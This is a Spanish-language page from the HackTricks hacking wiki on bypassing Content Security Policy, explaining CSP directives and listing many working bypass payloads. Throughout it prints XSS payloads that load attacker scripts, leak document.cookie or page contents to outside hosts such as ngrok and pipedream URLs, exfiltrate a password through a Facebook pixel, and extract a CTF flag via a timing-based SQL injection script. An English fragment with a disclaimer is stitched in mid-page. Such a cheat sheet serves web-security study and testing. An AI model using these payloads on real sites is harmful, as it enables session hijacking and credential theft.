Español - Ht
HackTricks Training Twitter Linkedin Sponsor

Content Security Policy (CSP) Bypass

Bypass de la Política de Seguridad de Contenido (CSP)

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking Participa en contenido que profundiza en la emoción y desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

¿Qué es CSP?

La Política de Seguridad de Contenido (CSP) es reconocida como una tecnología del navegador, principalmente destinada a proteger contra ataques como scripting entre sitios (XSS). Funciona definiendo y detallando rutas y fuentes desde las cuales el navegador puede cargar recursos de forma segura. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluidos recursos en línea y la ejecución de código de cadena a través de funciones como eval, setTimeout o setInterval.

La implementación de CSP se realiza a través de encabezados de respuesta o mediante la incorporación de elementos meta en la página HTML. Siguiendo esta política, los navegadores hacen cumplir proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.

  • Implementado a través del encabezado de respuesta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

  • Implementado a través de una etiqueta meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Encabezados

CSP puede ser aplicado o monitoreado utilizando estos encabezados:

  • Content-Security-Policy: Aplica el CSP; el navegador bloquea cualquier violación.

  • Content-Security-Policy-Report-Only: Utilizado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de preproducción.

Definición de Recursos

CSP restringe los orígenes para cargar contenido activo y pasivo, controlando aspectos como la ejecución de JavaScript en línea y el uso de eval(). Un ejemplo de política es:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directivas

  • script-src: Permite fuentes específicas para JavaScript, incluyendo URLs, scripts en línea y scripts activados por manejadores de eventos o hojas de estilo XSLT.

  • default-src: Establece una política predeterminada para obtener recursos cuando faltan directivas de obtención específicas.

  • child-src: Especifica los recursos permitidos para los trabajadores web y el contenido incrustado de marcos.

  • connect-src: Restringe las URLs que se pueden cargar utilizando interfaces como fetch, WebSocket, XMLHttpRequest.

  • frame-src: Restringe las URLs para marcos.

  • frame-ancestors: Especifica qué fuentes pueden incrustar la página actual, aplicable a elementos como <frame>, <iframe>, <object>, <embed> y <applet>.

  • img-src: Define fuentes permitidas para imágenes.

  • font-src: Especifica fuentes válidas para fuentes cargadas usando @font-face.

  • manifest-src: Define fuentes permitidas de archivos de manifiesto de la aplicación.

  • media-src: Define fuentes permitidas para cargar objetos multimedia.

  • object-src: Define fuentes permitidas para elementos <object>, <embed> y <applet>.

  • base-uri: Especifica URLs permitidas para cargar usando elementos <base>.

  • form-action: Enumera puntos finales válidos para envíos de formularios.

  • plugin-types: Restringe los tipos MIME que una página puede invocar.

  • upgrade-insecure-requests: Instruye a los navegadores a reescribir las URLs HTTP a HTTPS.

  • sandbox: Aplica restricciones similares al atributo sandbox de un <iframe>.

  • report-to: Especifica un grupo al cual se enviará un informe si se viola la política.

  • worker-src: Especifica fuentes válidas para scripts de Worker, SharedWorker o ServiceWorker.

  • prefetch-src: Especifica fuentes válidas para recursos que se obtendrán o precargados.

  • navigate-to: Restringe las URLs a las cuales un documento puede navegar por cualquier medio (a, form, window.location, window.open, etc.)

Fuentes

  • *: Permite todas las URLs excepto aquellas con esquemas data:, blob:, filesystem:.

  • 'self': Permite la carga desde el mismo dominio.

  • 'data': Permite cargar recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).

  • 'none': Bloquea la carga desde cualquier fuente.

  • 'unsafe-eval': Permite el uso de eval() y métodos similares, no recomendado por razones de seguridad.

  • 'unsafe-hashes': Habilita manejadores de eventos en línea específicos.

  • 'unsafe-inline': Permite el uso de recursos en línea como <script> o <style> en línea, no recomendado por razones de seguridad.

  • 'nonce': Una lista blanca para scripts en línea específicos usando un nonce criptográfico (número usado una vez).

  • Si tiene una ejecución de JS limitada, es posible obtener un nonce utilizado dentro de la página con doc.defaultView.top.document.querySelector("[nonce]") y luego reutilizarlo para cargar un script malicioso (si se usa strict-dynamic, cualquier fuente permitida puede cargar nuevas fuentes, por lo que esto no es necesario), como en:

Cargar script reutilizando nonce

  • 'sha256-<hash>': Lista blanca de scripts con un hash sha256 específico.

  • 'strict-dynamic': Permite cargar scripts desde cualquier fuente si ha sido listado en una nonce o hash.

  • 'host': Especifica un host específico, como example.com.

  • https:: Restringe las URLs a aquellas que utilizan HTTPS.

  • blob:: Permite cargar recursos desde URLs Blob (por ejemplo, URLs Blob creadas mediante JavaScript).

  • filesystem:: Permite cargar recursos desde el sistema de archivos.

  • 'report-sample': Incluye una muestra del código que viola en el informe de violación (útil para depurar).

  • 'strict-origin': Similar a 'self' pero asegura que el nivel de seguridad del protocolo de las fuentes coincida con el documento (solo las fuentes seguras pueden cargar recursos desde fuentes seguras).

  • 'strict-origin-when-cross-origin': Envía URLs completas al realizar solicitudes del mismo origen, pero solo envía el origen cuando la solicitud es de origen cruzado.

  • 'unsafe-allow-redirects': Permite cargar recursos que se redirigirán inmediatamente a otro recurso. No se recomienda ya que debilita la seguridad.

Reglas CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga de trabajo: "/><script>alert(1);</script>

self + 'unsafe-inline' a través de Iframes

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Esto no funciona, para más información verifica esto.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga de trabajo funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido lo está creando, la nueva etiqueta de script podrá ser ejecutada.

Comodín (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga de trabajo funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src y default-src

Parece que esto ya no está funcionando

Content-Security-Policy: script-src 'self' ;

Cargas de trabajo funcionales:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Subida de archivos + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si puedes subir un archivo JS puedes evadir este CSP:

Payload funcional:

"/>'><script src="/uploads/picture.png.js"></script>

Sin embargo, es altamente probable que el servidor esté validando el archivo cargado y solo te permitirá subir un tipo determinado de archivos.

Además, incluso si pudieras cargar un código JS dentro de un archivo utilizando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor apache seleccionan el tipo MIME del archivo basado en la extensión y los navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que Apache no reconoce la extensión .wave, por lo tanto no la sirve con un tipo MIME como audio/*.

A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota (algunos ejemplos de políglotas aquí).

Acción de formulario

Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, credenciales inyectando una acción de formulario (y tal vez esperando que los administradores de contraseñas autocompleten las contraseñas). Puedes encontrar un ejemplo en este informe. Además, ten en cuenta que default-src no cubre las acciones de formulario.

Puntos finales de terceros + ('unsafe-eval')

Para algunos de los siguientes payloads unsafe-eval ni siquiera es necesario.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Cargue una versión vulnerable de Angular y ejecute JS arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads utilizando Angular + una biblioteca con funciones que devuelven el objeto window (consulta esta publicación):

La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones añadidas de cada biblioteca, y verificar qué funciones de qué bibliotecas devuelven el objeto window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS desde un nombre de clase:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusando del código JS de Google reCAPTCHA

Según este informe de CTF puedes abusar de https://www.google.com/recaptcha/ dentro de un CSP para ejecutar código JS arbitrario eludiendo el CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Más cargas útiles de este informe:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abusando de www.google.com para redirección abierta

La siguiente URL redirige a example.com (de aquí):

https://www.google.com/amp/s/example.com/

Terceros Endpoints + JSONP

Es posible abusar de Google Apps Script para recibir información en una página dentro de script.google.com. Como se hace en este informe.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Escenarios como este donde script-src está configurado como self y un dominio en particular que está en la lista blanca pueden ser evitados utilizando JSONP. Los puntos finales de JSONP permiten métodos de devolución de llamada inseguros que permiten a un atacante realizar XSS, carga útil de trabajo:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.

La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una Redirección Abierta porque si el punto final inicial es de confianza, las redirecciones son de confianza.

Abusos de Terceros

Como se describe en el siguiente post, hay muchos dominios de terceros que pueden estar permitidos en alguna parte de la CSP y pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:

EntidadDominio PermitidoCapacidades

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Si encuentras alguno de los dominios permitidos en la CSP de tu objetivo, es probable que puedas eludir la CSP registrándote en el servicio de terceros y, ya sea exfiltrar datos a ese servicio o ejecutar código.

Por ejemplo, si encuentras la siguiente CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Bypassing Content Security Policy (CSP)

Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, there are ways to bypass CSP protections and execute malicious code on a target website.

In this guide, we will explore different techniques to bypass CSP and achieve our goals.

Table of Contents

  1. Basic CSP Bypass Techniques

  2. Advanced CSP Bypass Techniques

  3. Tips and Tricks

Disclaimer

This guide is for educational purposes only. Unauthorized access to websites and bypassing security measures is illegal. Ensure you have permission from the website owner before conducting any security testing.

Content-Security-Policy​: connect-src www.facebook.com;​

Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho con Google Analytics/Google Tag Manager. En este caso, sigues estos pasos generales:

  1. Crea una cuenta de desarrollador en Facebook aquí.

  2. Crea una nueva aplicación de "Facebook Login" y selecciona "Sitio web".

  3. Ve a "Configuración -> Básico" y obtén tu "ID de la aplicación".

  4. En el sitio objetivo del que deseas exfiltrar datos, puedes hacerlo directamente utilizando el gadget del SDK de Facebook "fbq" a través de un "evento personalizado" y la carga de datos.

  5. Ve a tu "Gestor de eventos" de la aplicación y selecciona la aplicación que creaste (nota que el gestor de eventos se puede encontrar en una URL similar a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Selecciona la pestaña "Eventos de prueba" para ver los eventos enviados por "tu" sitio web.

Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para que apunte a la cuenta de desarrollador de Facebook del atacante con el ID de la aplicación y emita un evento personalizado como este:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Bypass a través de RPO (Sobrescritura de Ruta Relativa)

Además de la redirección mencionada anteriormente para evitar restricciones de ruta, existe otra técnica llamada Sobrescritura de Ruta Relativa (RPO) que se puede utilizar en algunos servidores.

Por ejemplo, si CSP permite la ruta https://example.com/scripts/react/, se puede evitar de la siguiente manera:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

El navegador finalmente cargará https://example.com/scripts/angular/angular.js.

Esto funciona porque para el navegador, se está cargando un archivo llamado ..%2fangular%2fangular.js ubicado bajo https://example.com/scripts/react/, lo cual cumple con la CSP.

Por lo tanto, el navegador lo decodificará, solicitando efectivamente https://example.com/scripts/react/../angular/angular.js, lo cual es equivalente a https://example.com/scripts/angular/angular.js.

Al explotar esta inconsistencia en la interpretación de URL entre el navegador y el servidor, se pueden evadir las reglas de ruta.

La solución es no tratar %2f como / en el lado del servidor, asegurando una interpretación consistente entre el navegador y el servidor para evitar este problema.

Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output

Ejecución de JS en iframes

pageIframes in XSS, CSP and SOP

falta de base-uri

Si falta la directiva base-uri puedes abusar de ella para realizar una inyección de marcado colgante.

Además, si la página está cargando un script usando una ruta relativa (como <script src="/js/app.js">) usando un Nonce, puedes abusar de la etiqueta base para hacer que cargue el script desde tu propio servidor logrando un XSS. Si la página vulnerable se carga con httpS, utiliza una URL httpS en la base.

<base href="https://www.attacker.com/">

Eventos de AngularJS

Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. Sin embargo, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único $event, que hace referencia al objeto de evento nativo del navegador. Este objeto $event puede ser explotado para eludir el CSP. Es importante destacar que, en Chrome, el objeto $event/event posee un atributo path, que contiene una matriz de objetos implicados en la cadena de ejecución del evento, con el objeto window posicionado invariablemente al final. Esta estructura es fundamental para las tácticas de escape de sandbox.

Al dirigir esta matriz al filtro orderBy, es posible iterar sobre ella, aprovechando el elemento terminal (el objeto window) para activar una función global como alert(). El fragmento de código demostrado a continuación aclara este proceso:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este fragmento destaca el uso de la directiva ng-focus para desencadenar el evento, empleando $event.path|orderBy para manipular el array path, y aprovechando el objeto window para ejecutar la función alert(), revelando así document.cookie.

Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS y dominio en lista blanca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Un CSP policy que lista dominios para la carga de scripts en una aplicación Angular JS puede ser evadido a través de la invocación de funciones de devolución de llamada y ciertas clases vulnerables. Puede encontrar más información sobre esta técnica en una guía detallada disponible en este repositorio de git.

Cargas útiles funcionales:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Bypass a través de Redirección

¿Qué sucede cuando CSP encuentra una redirección del lado del servidor? Si la redirección lleva a un origen diferente que no está permitido, seguirá fallando.

Sin embargo, según la descripción en CSP spec 4.2.2.3. Paths and Redirects, si la redirección lleva a una ruta diferente, puede eludir las restricciones originales.

Aquí tienes un ejemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Si CSP está configurado en https://www.google.com/a/b/c/d, dado que se considera la ruta, tanto los scripts /test como /a/test serán bloqueados por CSP.

Sin embargo, el http://localhost:5555/301 final será redirigido en el lado del servidor a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Dado que es una redirección, no se considera la ruta, y el script puede cargarse, evitando así la restricción de la ruta.

Con esta redirección, incluso si se especifica completamente la ruta, seguirá siendo evitada.

Por lo tanto, la mejor solución es asegurarse de que el sitio web no tenga vulnerabilidades de redirección abierta y de que no haya dominios que puedan ser explotados en las reglas de CSP.

Bypass CSP con marcado colgante

Lee cómo aquí.

'unsafe-inline'; img-src *; a través de XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) e img-src * significa que puedes usar en la página web cualquier imagen de cualquier recurso.

Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene un SQLi, y extrae la bandera a través de una imagen):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

También podrías abusar de esta configuración para cargar código JavaScript insertado dentro de una imagen. Por ejemplo, si la página permite cargar imágenes desde Twitter, podrías crear una imagen especial, subirla a Twitter y abusar del "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La función importScripts de los service workers no está limitada por CSP:

pageAbusing Service Workers

Inyección de Políticas

Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir script 'unsafe-inline' con cualquiera de estos bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta directiva sobrescribirá las directivas script-src existentes. Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: ;_ Edge descartaría toda la política. Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; a través de XSS (iframe) - Ataque de tiempo

Observa la falta de la directiva 'unsafe-inline' Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe>. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargarse puedes extraer la información que necesitas.

Esta vez se va a extraer una bandera, cada vez que se adivine correctamente un carácter a través de SQLi la respuesta tardará más tiempo debido a la función de espera. Luego, podrás extraer la bandera:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

A través de Bookmarklets

Este ataque implicaría algo de ingeniería social donde el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, burlando la CSP y permitiendo robar información sensible como cookies o tokens.

Para más información consulta el informe original aquí.

Bypass de CSP restringiendo CSP

En este informe de CTF, se burla la CSP al inyectar dentro de un iframe permitido una CSP más restrictiva que prohibía cargar un archivo JS específico que, luego, a través de polución de prototipos o dom clobbering permitía abusar de un script diferente para cargar un script arbitrario.

Puedes restringir una CSP de un Iframe con el atributo csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

En este informe de CTF, fue posible mediante inyección de HTML restringir aún más un CSP para que un script que evitaba CSTI fuera deshabilitado y, por lo tanto, la vulnerabilidad se volviera explotable. CSP puede ser más restrictivo utilizando etiquetas meta de HTML y los scripts en línea pueden ser deshabilitados eliminando la entrada que permite su nonce y habilitando scripts en línea específicos a través de sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Extracción de JS con Content-Security-Policy-Report-Only

Si logras hacer que el servidor responda con el encabezado Content-Security-Policy-Report-Only con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script> y debido a que es altamente probable que unsafe-inline no esté permitido por la CSP, esto provocará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde Content-Security-Policy-Report-Only.

Para un ejemplo, consulta este writeup de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Filtración de información con CSP e Iframe

  • Se crea un iframe que apunta a una URL (llamémosla https://example.redirect.com) que está permitida por CSP.

  • Esta URL luego redirige a una URL secreta (por ejemplo, https://usersecret.example2.com) que no está permitida por CSP.

  • Al escuchar el evento securitypolicyviolation, se puede capturar la propiedad blockedURI. Esta propiedad revela el dominio de la URI bloqueada, filtrando el dominio secreto al que redirigió la URL inicial.

Es interesante notar que navegadores como Chrome y Firefox tienen diferentes comportamientos al manejar iframes con respecto a CSP, lo que puede llevar a la filtración potencial de información sensible debido al comportamiento no definido.

Otra técnica implica explotar el CSP en sí para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están bloqueados deliberadamente. Por ejemplo, si el subdominio secreto está compuesto por caracteres desconocidos, puedes probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Al monitorear qué solicitudes son bloqueadas o permitidas por la CSP, se puede reducir el rango de caracteres posibles en el subdominio secreto, descubriendo eventualmente la URL completa.

Ambos métodos explotan los matices de la implementación y comportamiento de la CSP en los navegadores, demostrando cómo las políticas aparentemente seguras pueden filtrar inadvertidamente información sensible.

Truco de aquí.

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Ideas de Hacking Participa en contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Tecnologías Inseguras para Evadir CSP

Sobrecarga del búfer de respuesta de PHP

PHP es conocido por almacenar en búfer la respuesta hasta 4096 bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficientes datos dentro de las advertencias, la respuesta se enviará antes del encabezado CSP, lo que hace que el encabezado se ignore. Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el encabezado CSP no se envíe.

Idea de este writeup.

Reescribir Página de Error

Según este writeup, parece que era posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego refrescando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto opener en el payload para acceder al DOM del punto final real a abusar. Para obtener más información, consulta:

pageSOME - Same Origin Method Execution

Además, wordpress tiene un punto final JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).

